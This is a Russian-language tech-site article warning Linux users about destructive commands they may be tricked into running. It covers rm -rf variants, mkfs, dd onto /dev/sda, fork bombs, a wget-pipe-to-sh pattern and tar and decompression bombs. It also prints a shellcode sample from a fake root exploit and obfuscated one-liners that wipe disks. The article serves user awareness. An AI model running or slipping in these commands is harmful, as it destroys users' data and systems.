Информационные технологииStfw.Ru 🔍

Опасные команды Linux

Команды, которые причиняют значительный вред или даже крах пользовательских компьютеров.
🕛 23.01.2010, 15:27
Это далеко не исчерпывающий список команд, но он должен дать понятие о том, каким образом вас могут попытаться обмануть. Помните, они могут быть замаскированы в непонятные команды или быть частью длинных процедур, поэтому будте бдительны.

Удаляет все файлы, текущую директорию и все видимые файлы в текущей директории. По моему, достаточно ясно, почему эти команды опасны для запуска.
эрэм эрэф /
rm -rf .
rm -rf *

Основная проблема в том, что... линк на предыдущую директорию будет распознан и это приведёт к удалению всех данных выше этого уровня папки(упс!). Как я думаю, возможной альтернативой будет

rm -r .[^.]*
что исключит запись "..". Конечно, могут стоять ограничения на совпадения с заданными записями, введние таких ограничений будет домашним заданием для пользователя.

Переформатировние: Данные на устройстве указанном после команды mkfs будут уничтожены и заменены на чистую файловую систему.

mkfs
mkfs.ext3
mkfs.anything

Манипуляции с блочным устройством: "Сырые" данные будут записаны на блочное устройство. В большинстве случаев, это приведёт к полному затиранию файловой системы и потере всей информации:

any_command > /dev/sda
dd if=something of=/dev/sda
Forkbomb: Запускает огромное количество процессов, до тех пор пока система не зависнет, принуждая вас сделать жёсткую перезагрузку, которая может привести к утрате, повреждению данных или другим ужасным последствиям. В Bourne-подобных оболочках, например такой как Bash: (Это выглядит действительно любопытно и провоцирующие)


:(){ :|:& };:
На Perl:

fork while fork

Tar-бомба: Кто-то просит вас распаковать tar архив в существующую директорию. Такой архив может содержать миллионы файлов или проникать в систему угадывая имена файлов. Вы должны взять за правило, распаковывать архивы только во вновь созданные директории.

Распаковывающая бомба: Кто-то просит вас распаковать архив, который на первый взгляд выглядит легким для закачки. На самом деле это данные запакованные с высокой степенью сжатия и при распаковке они будут заполнять ваш жёсткий диск, раздуваясь на сотни гигабайт. Не берите данные с непроверенных источников

Скрипт командной оболочки: Кто-то даёт вам ссылку на скрипт командной оболочки для запуска. Он может содержать любые команды как неопасные, так и зловредные. Не запускайте код, полученный от людей, которым вы не доверяете.

wget http://какое-то_место/какой-то_файл
sh ./какой-то_файл

wget http://какое-то_место/какой-то_файл -O- | sh
Код компиляции: Кто-то даёт вам исходные коды и затем просит вам их откомпилировать. Очень просто спрятать вредоносный код где-нибудь внутри большого куска исходного кода и исходный код даёт атакующему гораздо больше возможностей для маскировки вредоносной информации. Не компилируйте и не запускайте откомпилированный код, если это не код хорошо известного приложения, полученный с доверенного сайта (например SourceForge или домашняя страница автора или сайт Ubuntu)

Знаменитый пример обнаруженный в списке рассылки и замаскированный под пробную версию эксплоита, обещающего получить права суперпользователя без оболочки, если его запустить. Внутри него было такое включение:
char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Для чайников или только начинающих пользователей это выглядит как "непонятный набор hex кодов", который так типичен для пробных версий. Как бы то ни было, на самом деле запускается команда rm -rf ~ / &, которая уничтожает вашу домашнюю директорию, если вы под обычным пользователем и все файлы, если вы под суперпользователем. Если вы можете различить команду в этом коде, значит вам не нужно читать эту тему. В противном случае, помните, что такие вещи могут встречаться в любых подобных кодах - будьте осторожны.

И снова, всё вышесказанное не является исчерпывающим списком подобных команд и вы не должны проверять команды из этого списка, чтобы удостоверится что они опасны!

К примеру, за 30 секунд на Python можно написать что-то подобное:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
Где "sn!.sg!+" это и есть rm -rf * в верхнем регистре. Конечно это слабый пример - и я думаю, что надо быть достаточно глупым, чтобы копировать этот монструозный код в терминал и не почувствовать, что здесь что-то не в порядке.

Ещё несколько опасных примеров.

Программа из одной строчки на Perl:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Удаляет все каталоги в корневой директории!

Запускать под bash'ем из-под рута:

ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null
Команда молча потрёт всю корневую партицию!

Linux   Теги: Linux

Читать IT-новости в Telegram
Информационные технологии
Мы в соцсетях ✉